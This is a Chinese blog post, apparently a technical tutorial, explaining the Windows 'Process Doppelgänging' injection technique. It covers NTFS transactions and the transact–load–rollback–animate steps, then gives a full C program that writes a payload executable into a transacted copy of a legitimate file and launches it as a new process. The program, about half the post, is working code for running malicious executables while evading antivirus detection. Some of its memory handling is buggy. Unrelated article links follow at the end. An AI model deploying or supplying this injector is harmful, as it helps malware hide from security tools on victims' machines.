进程注入:Process Doppelgänging

  攻击者可以通过Process Doppelgänging将恶意代码注入到进程中,从而逃避基于进程的防护,并且进行可能的特权提升。Process Doppelgänging是一种在单独的活动进程的地址空间中执行任意代码的方法。

  Vista中引入了Windows事务NTFS(TxF)作为执行安全文件操作的方法。为确保数据完整性,TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前,所有其他句柄均被隔离,只能读取打开该句柄时已存在的文件的提交版本。为避免损坏,如果系统或应用程序在写事务期间发生失败,TxF将执行自动回滚。

  尽管已被弃用,但直至Windows 10,仍可使用TxF应用程序编程接口(API)。

  攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似,Process Doppelgänging通过替换合法进程的内存,使恶意代码得以隐蔽执行,从而逃避检测。Process Doppelgänging对TxF的利用也避免了使用被杀软重度监控的API功能,例如NtUnmapViewOfSection,VirtualProtectEx,和SetThreadContext。

  Process Doppelgänging分为4个步骤:

  • Transact – 使用合法的可执行文件创建TxF事务,然后使用恶意代码覆盖该文件。这些更改与外部隔离,并且仅在当前事务上下文中可见;
  • Load – 从内存中创建一个共享Section用于加载覆盖后的恶意可执行文件;
  • Rollback – 撤消对原始合法可执行文件的更改,从而有效地从文件系统中清除恶意代码;
  • Animate – 从内存中恶意代码所在的Section处创建一个进程并启动执行。

  由于被注入进程是从实现注入的进程中创建的(继承了安全上下文),因此该行为应该是不会导致特权提升的。但是,由于执行过程隐藏于合法进程下,因此通过process doppelgänging执行可以避开安全产品的检测。

  在测试的时候,发现在64位系统下,32位的process doppelgänging将会失败,只能使用64位的注入;32位系统下的process doppelgänging则正常。

#include "winntos.h"
#include "stdio.h"
#include "ktmw32.h" #define MAX(a, b) (a > b? a:b)
#define MIN(a, b) (a > b? b:a) #pragma comment(lib, "ktmw32.lib")
INT wmain(INT argc, WCHAR* argv[]) { if (argc < 3) {
printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>\n\n");
return 1;
} NtCreateSection ntCreateSection = NULL;
NtCreateProcessEx ntCreateProcessEx = NULL;
RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
NtQueryInformationProcess ntQueryInformationProcess = NULL;
RtlInitUnicodeString rtlInitUnicodeString = NULL;
NtCreateThreadEx ntCreateThreadEx = NULL; HMODULE ntdll = LoadLibrary(L"ntdll.dll");
if (ntdll) {
ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
if (ntCreateSection)
printf(" Succeed get funtion NtCreateSection Address : %#llx :)\n", (DWORD)ntCreateSection);
else {
printf(" Fail get funtion NtCreateSection Address :(\n");
return 1;
}
ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
if (ntCreateProcessEx)
printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)\n", (DWORD)ntCreateProcessEx);
else {
printf(" Fail get funtion NtCreateProcessEx Address :(\n");
return 1;
}
rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
if (rtlCreateProcessParametersEx)
printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)\n",
(DWORD)rtlCreateProcessParametersEx);
else {
printf(" Fail get funtion RtlCreateProcessParametersEx Address :(\n");
return 1;
}
ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (ntQueryInformationProcess)
printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)\n",
(DWORD)ntQueryInformationProcess);
else {
printf(" Fail get funtion NtQueryInformationProcess Address :(\n");
return 1;
}
rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (rtlInitUnicodeString)
printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)\n",
(DWORD)rtlInitUnicodeString);
else {
printf(" Fail get funtion RtlInitUnicodeString Address :(\n");
return 1;
}
ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
if (ntCreateThreadEx)
printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)\n",
(DWORD)ntCreateThreadEx);
else {
printf(" Fail get funtion NtCreateThreadEx Address :(\n");
return 1;
}
}
else {
printf(" Load ntdll.dll Failed :(\n");
return 1;
} WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
CHAR *szInjBuff = NULL; wcscpy(szSrcFile, argv[1]);
wcscpy(szInjectFile, argv[2]); do {
hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if (INVALID_HANDLE_VALUE == hInjFile) {
if (GetLastError() == ERROR_FILE_NOT_FOUND)
printf(" The File To Be INJECTED NOT FOUND :(\n");
else
printf(" OPEN injected file ERROR :(\n");
break;
} DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
szInjBuff = (CHAR*)malloc(dwInjFileSize);
if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
printf(" read injected file error :(\n");
break;
}
hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
if (INVALID_HANDLE_VALUE == hTx) {
printf(" create transaction failed :(\n");
break;
} hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
if (INVALID_HANDLE_VALUE == hTransFile) {
printf(" append black file transacted failed :(\n");
break;
}
DWORD dwWrittenBytes = 0;
if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
printf(" write target file failed :(\n");
break;
}
printf(" Write To Target File success :)\n"); hSection = NULL; if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
printf(" CreateSeciotn Failed :( %#x\n", GetLastError());
break;
}
// succeed map file as image
printf(" CreateSeciotn Success :)\n"); if (!RollbackTransaction(hTx)) {
printf(" RollBackFile Failed :( %#x\n", GetLastError());
break;
}
printf(" RollBackFile Success :)\n");
hProcess = NULL;
hCurProcess = GetCurrentProcess(); if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
printf(" create process failed :( %#x\n", GetLastError()); // 失败
break;
}
printf(" create process SUCCESS :)\n"); PROCESS_BASIC_INFORMATION pbi;
DWORD ReturnLength = 0; /* 获取注入进程的PEB数据块信息 */
if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
printf(" query process pbi failed :( %#x\n", GetLastError());
break;
} SIZE_T size = 0, imgBase = NULL;
CHAR tmp[0x100] = { 0 };
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size); imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress; // PEB获取注入进程基址
printf(" image base: %#llx\n", imgBase); PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
UNICODE_STRING dstUniStr; rtlInitUnicodeString(&dstUniStr, szSrcFile);
if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
printf(" Create ProcessParameters failed :( %#x\n", GetLastError());
break;
}
printf(" Create ProcessParameters SUCCESS :)\n"); HANDLE ThreadID = NULL;
LPVOID paramBaseAddr = NULL;
ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
size = end - start; if (!VirtualAllocEx(hProcess, (LPVOID)start, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
printf(" VirtualAllocEx processParams failed :( %#x\n", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
printf(" Write USER PROCESS PARAMETERS failed :( %#x\n", GetLastError());
break;
} if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
printf(" Write USER PROCESS PARAMETERS Address failed :( %#x\n", GetLastError());
break;
} PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
printf(" entry point: %#llx\n", entry); if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)entry,
NULL, FALSE, 0, 0, 0, NULL)) {
printf(" Create Thread failed :( %#x\n", GetLastError());
break;
}
printf(" Create Thread Success :)\n");
/*if (!CreateRemoteThread(hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
NULL, NULL, &ThreadID)) {
printf(" Create Thread failed :( %#x\n", GetLastError());
break;
}
printf(" remote thread id: %#x\n", ThreadID);*/ } while (0); VirtualFree(szInjectFile, 0, MEM_RELEASE);
VirtualFree(szSrcFile, 0, MEM_RELEASE);
VirtualFree(szInjBuff, 0, MEM_RELEASE); if (hTransFile)
CloseHandle(hTransFile);
if (hTx)
CloseHandle(hTx);
if (hInjFile)
CloseHandle(hInjFile);
if (hCurProcess)
CloseHandle(hCurProcess);
if (hSection)
CloseHandle(hSection);
if (hProcess)
CloseHandle(hProcess);
return 0;
}

参考:

https://attack.mitre.org/techniques/T1055/013/

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

Process Doppelg&#228;nging的更多相关文章

  1. IIS启动失败,启动Windows Process Activation Service时,出现错误13:数据无效 ;HTTP 错误 401.2 - Unauthorized 由于身份验证头无效,您无权查看此页

    因为修改过管理员账号的密码后重启服务器导致IIS无法启动,出现已下异常 1.解决:"启动Windows Process Activation Service时,出现错误13:数据无效&quo ...

  2. C#的Process类调用第三方插件实现PDF文件转SWF文件

    在项目开发过程中,有时会需要用到调用第三方程序实现本系统的某一些功能,例如本文中需要使用到的swftools插件,那么如何在程序中使用这个插件,并且该插件是如何将PDF文件转化为SWF文件的呢?接下来 ...

  3. C# ShellExcute与Process

    C#运行外部程序的两种方法 ShellExecute using System.Runtime.InteropServices; public enum ShowWindowCommands : in ...

  4. 【手记】调用Process.EnterDebugMode引发异常:并非所有引用的特权或组都分配给呼叫方

    刚上线一个新版本,其中有台电脑打开软件就报[xx的类型初始值设定项引发异常](还好不是一大波电脑,新东西上线就怕哀鸿遍野),如图: 显然是该类型的静态构造函数中抛异常了(红线处就是类名),遂打开该类, ...

  5. C# - 多线程 之 Process与Thread与ThreadPool

    Process 进程类, // 提供对本地和远程进程的访问,启动/停止本地系统进程 public class Process : Component { public int Id { get; } ...

  6. Java Business Process Management(业务流程管理) 初识环境搭建

    一.简介 (一)什么是jbpm JBPM,全称是Java Business Process Management(业务流程管理),它是覆盖了业务流程管理.工作流.服务协作等领域的一个开源的.灵活的.易 ...

  7. Android Weekly Notes Issue #228

    Android Weekly Issue #228 October 23rd, 2016 Android Weekly Issue #228 本期内容包括: Android 7.1的App Short ...

  8. Job for httpd.service failed because the control process exited with error code. See "systemctl status httpd.service" and "journalctl -xe" for details

    thinkphp 在Apache上配置启用伪静态,重启Apache1 restart 竟然失败了,报错 Job for httpd.service failed because the control ...

  9. 更新过程 renewal process

    一类随机过程.是描述元件或设备更新现象的一类随机过程.设对某元件的工作进行观测.假定元件的使用寿命是一随机变量,当元件发生故障时就进行修理或换上新的同类元件,而且元件的更新是即时的(修理或更换元件所需 ...

随机推荐

  1. 第10组 Beta冲刺 (4/5)(组长)

    1.1基本情况 ·队名:今晚不睡觉 ·组长博客: https://www.cnblogs.com/cpandbb/p/14018650.html ·作业博客:https://edu.cnblogs.c ...

  2. Go语言系列之依赖管理

    依赖管理 为什么需要依赖管理? 最早的时候,Go所依赖的所有的第三方库都放在GOPATH这个目录下面.这就导致了同一个库只能保存一个版本的代码.如果不同的项目依赖同一个第三方的库的不同版本,应该怎么解 ...

  3. 日志通过脚本导入到HDFS当中

    可以关注公众号:分享电脑学习回复"百度云盘" 可以免费获取所有学习文档的代码(不定期更新) 利用shell脚本定时备份日志数据到HDFS上(适合日志数据比较少的时候) 时间命令 d ...

  4. 【基因组学】maker的安装和注释

    本文默认读者有一定的生信基础,没有基础的可以阅读以前的笔记内容. maker作为比较受人认可的基因组注释软件,其流程较为清晰简单. 不知何故,我的conda无法安装maker,故而采用手动安装方式. ...

  5. [源码解析] PyTorch 分布式之 ZeroRedundancyOptimizer

    [源码解析] PyTorch 分布式之 ZeroRedundancyOptimizer 目录 [源码解析] PyTorch 分布式之 ZeroRedundancyOptimizer 0x00 摘要 0 ...

  6. JAVA之G1垃圾回收器

    概述 G1 GC,全称Garbage-First Garbage Collector,通过-XX:+UseG1GC参数来启用,作为体验版随着JDK 6u14版本面世,在JDK 7u4版本发行时被正式推 ...

  7. RocketMQ架构原理解析(一):整体架构

    RocketMQ架构原理解析(一):整体架构 RocketMQ架构原理解析(二):消息存储(CommitLog) RocketMQ架构原理解析(三):消息索引(ConsumeQueue & I ...

  8. CAX软件资产管理

    CAX软件其实指的是计算机辅助设计软件统称,即CAD.CAM.CAE.CAPP.CAS.CAT.CAI等各项技术的综合叫法,因为这些技术的缩写基本都是以CA为起始,X则表示所有.也就是说,CAX实际上 ...

  9. 《剑指offer》面试题54. 二叉搜索树的第k大节点

    问题描述 给定一棵二叉搜索树,请找出其中第k大的节点.   示例 1: 输入: root = [3,1,4,null,2], k = 1 3 / \ 1 4 \   2 输出: 4 示例 2: 输入: ...

  10. winform GDI+ 抗锯齿

    graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias;